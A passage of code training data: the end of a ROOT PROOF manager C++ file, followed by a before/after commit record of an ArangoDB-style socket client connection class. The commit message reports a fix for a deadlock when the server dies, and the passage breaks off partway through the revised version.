TVirtualProofMgr::SetTProofMgrHook(TVirtualProofMgr_t pmh, const char *t)\n{\n \/\/ Set hook to TProofMgr ctor\n\n \/\/ Find index (default: classic)\n Int_t idx = (t && !strncmp(t,\"xpd\",3)) ? 1 : 0;\n\n fgTProofMgrHook[idx] = pmh;\n}\n\nClassImp(TVirtualProofDesc)\n\n\/\/________________________________________________________________________\nvoid TVirtualProofDesc::Print(Option_t *) const\n{\n \/\/ Dump the content to the screen.\n const char *st[] = { \"unknown\", \"idle\", \"processsing\", \"shutting down\"};\n\n Printf(\"\/\/ # %d\", fLocalId);\n Printf(\"\/\/ alias: %s, url: \\\"%s\\\"\", GetTitle(), GetUrl());\n Printf(\"\/\/ tag: %s\", GetName());\n Printf(\"\/\/ status: %s, attached: %s (remote ID: %d)\",st[fStatus+1], (fProof ? \"YES\" : \"NO\"), fRemoteId);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief client connection\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2004-2013 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Jan Steemann\n\/\/\/ @author Copyright 2012-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"ClientConnection.h\"\n\n#ifdef TRI_HAVE_LINUX_SOCKETS\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <netdb.h>\n#include <sys\/socket.h>\n#endif\n\n\n#ifdef TRI_HAVE_WINSOCK2_H\n#include <WinSock2.h>\n#include <WS2tcpip.h>\n#endif\n\n#include <sys\/types.h>\n\nusing namespace triagens::basics;\nusing namespace triagens::httpclient;\nusing namespace triagens::rest;\nusing namespace std;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- constructors \/ destructors\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup httpclient\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief creates a new client connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nClientConnection::ClientConnection (Endpoint* endpoint,\n double requestTimeout,\n double connectTimeout,\n size_t connectRetries) :\n GeneralClientConnection(endpoint, requestTimeout, connectTimeout, connectRetries) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief destroys a client connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nClientConnection::~ClientConnection () {\n disconnect();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- private methods\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup httpclient\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief check whether the socket is still alive\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::checkSocket () {\n int so_error = -1;\n socklen_t len = sizeof so_error;\n\n assert(TRI_isvalidsocket(_socket));\n\n int res = TRI_getsockopt(_socket, SOL_SOCKET, SO_ERROR, (void*)(&so_error), &len);\n\n if (res != TRI_ERROR_NO_ERROR) {\n TRI_set_errno(errno);\n _isConnected = false;\n return false;\n }\n\n if (so_error == 0) {\n return true;\n }\n\n TRI_set_errno(so_error);\n _isConnected = false;\n \n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- protected virtual methods\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup httpclient\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief connect\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::connectSocket () {\n assert(_endpoint != 0);\n\n if (_endpoint->isConnected()) {\n _endpoint->disconnect();\n }\n _socket = _endpoint->connect(_connectTimeout, _requestTimeout);\n\n if (!TRI_isvalidsocket(_socket)) {\n return false;\n }\n\n if (checkSocket()) {\n return _endpoint->isConnected();\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief disconnect\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ClientConnection::disconnectSocket () {\n if (_endpoint) {\n _endpoint->disconnect();\n }\n TRI_invalidatesocket(&_socket);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief prepare connection for read\/write I\/O\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::prepare (const double timeout, const bool isWrite) const {\n struct timeval tv;\n fd_set fdset;\n\n assert(TRI_isvalidsocket(_socket));\n\n tv.tv_sec = (long) timeout;\n tv.tv_usec = ((long) (timeout * 1000000.0)) % 1000000;\n\n FD_ZERO(&fdset);\n FD_SET(TRI_get_fd_or_handle_of_socket(_socket), &fdset);\n\n fd_set* readFds = NULL;\n fd_set* writeFds = NULL;\n\n if (isWrite) {\n writeFds = &fdset;\n }\n else {\n readFds = &fdset;\n }\n\n int sockn = (int) (TRI_get_fd_or_handle_of_socket(_socket) + 1);\n int res = select(sockn, readFds, writeFds, NULL, &tv);\n\n if (res > 0) {\n return true;\n }\n\n if (res == 0) {\n if (isWrite) {\n TRI_set_errno(TRI_SIMPLE_CLIENT_COULD_NOT_WRITE);\n }\n else {\n TRI_set_errno(TRI_SIMPLE_CLIENT_COULD_NOT_READ);\n }\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief write data to the connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::writeClientConnection (void* buffer, size_t length, size_t* bytesWritten) {\n if (! checkSocket()) {\n return false;\n }\n\n#if defined(__APPLE__)\n \/\/ MSG_NOSIGNAL not supported on apple platform\n int status = TRI_send(_socket, buffer, length, 0);\n#elif defined(_WIN32)\n \/\/ MSG_NOSIGNAL not supported on windows platform\n int status = TRI_send(_socket, buffer, length, 0);\n#else\n int status = TRI_send(_socket, buffer, length, MSG_NOSIGNAL);\n#endif\n\n if (status < 0) {\n TRI_set_errno(errno);\n return false;\n }\n\n *bytesWritten = (size_t) status;\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief read data from the connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::readClientConnection (StringBuffer& stringBuffer) {\n if (! checkSocket()) {\n return false;\n }\n\n assert(TRI_isvalidsocket(_socket));\n\n do {\n \/\/ reserve some memory for reading\n if (stringBuffer.reserve(READBUFFER_SIZE) == TRI_ERROR_OUT_OF_MEMORY) {\n \/\/ out of memory\n TRI_set_errno(TRI_ERROR_OUT_OF_MEMORY);\n return false;\n }\n\n int lenRead = TRI_READ_SOCKET(_socket, stringBuffer.end(), READBUFFER_SIZE - 1, 0);\n\n if (lenRead == -1) {\n \/\/ error occurred\n return false;\n }\n\n if (lenRead == 0) {\n \/\/ nothing more to read\n _isConnected = false;\n break;\n }\n\n stringBuffer.increaseLength(lenRead);\n }\n while (readable());\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief return whether the connection is readable\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::readable () {\n if (prepare(0.0, false)) {\n return checkSocket();\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n<commit_msg>Fix a deadlock situation in the SimpleHttpClient if the server dies.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief client connection\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2004-2013 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Jan Steemann\n\/\/\/ @author Copyright 2012-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"ClientConnection.h\"\n\n#ifdef TRI_HAVE_LINUX_SOCKETS\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <netdb.h>\n#include <sys\/socket.h>\n#endif\n\n\n#ifdef TRI_HAVE_WINSOCK2_H\n#include <WinSock2.h>\n#include <WS2tcpip.h>\n#endif\n\n#include <sys\/types.h>\n\nusing namespace triagens::basics;\nusing namespace triagens::httpclient;\nusing namespace triagens::rest;\nusing namespace std;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- constructors \/ destructors\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup httpclient\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief creates a new client connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nClientConnection::ClientConnection (Endpoint* endpoint,\n double requestTimeout,\n double connectTimeout,\n size_t connectRetries) :\n GeneralClientConnection(endpoint, requestTimeout, connectTimeout, connectRetries) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief destroys a client connection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nClientConnection::~ClientConnection () {\n disconnect();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- private methods\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup httpclient\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief check whether the socket is still alive\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::checkSocket () {\n int so_error = -1;\n socklen_t len = sizeof so_error;\n\n assert(TRI_isvalidsocket(_socket));\n\n int res = TRI_getsockopt(_socket, SOL_SOCKET, SO_ERROR, (void*)(&so_error), &len);\n\n if (res != TRI_ERROR_NO_ERROR) {\n TRI_set_errno(errno);\n _isConnected = false;\n return false;\n }\n\n if (so_error == 0) {\n return true;\n }\n\n TRI_set_errno(so_error);\n _isConnected = false;\n \n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- protected virtual methods\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup httpclient\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief connect\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::connectSocket () {\n assert(_endpoint != 0);\n\n if (_endpoint->isConnected()) {\n _endpoint->disconnect();\n }\n _socket = _endpoint->connect(_connectTimeout, _requestTimeout);\n\n if (!TRI_isvalidsocket(_socket)) {\n return false;\n }\n\n if (checkSocket()) {\n return _endpoint->isConnected();\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief disconnect\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ClientConnection::disconnectSocket () {\n if (_endpoint) {\n _endpoint->disconnect();\n }\n TRI_invalidatesocket(&_socket);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief prepare connection for read\/write I\/O\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ClientConnection::prepare (const double timeout, const bool isWrite) const {\n struct timeval tv;\n fd_set fdset;\n\n assert(TRI_isvalidsocket(_socket));\n\n tv.tv_sec = (long) timeout;\n tv.tv_usec = ((long) (timeout * 1000000.0)) % 1000000;\n\n FD_ZERO(&fdset);\n FD_SET(TRI_get_fd_or_handle_of_socket(_socket), &fdset);\n\n fd_set* readFds = NULL;\n fd_set* writeFds = NULL;\n\n if (isWrite) {\n writeFds = &fdset;\n }\n else {\n readFds = &fdset;\n }\n\n int sockn = (int) (TRI_get_fd_or_handle_of_socket(_socket) + 1);\n int res = select(sockn, readFds, writeFds, NULL, &tv);\n\n if (res > 0) {\n return true;\n }\n\n if (res == 0) {\n if (isWrite) {\n TRI_set_errno(TRI_SIMPLE_CLIENT_COULD_NOT_WRITE);\n }\n else {\n TRI_set_errno(TRI_SIMPLE_CLIENT_COULD_NOT_READ);\n }\n }\n\n return 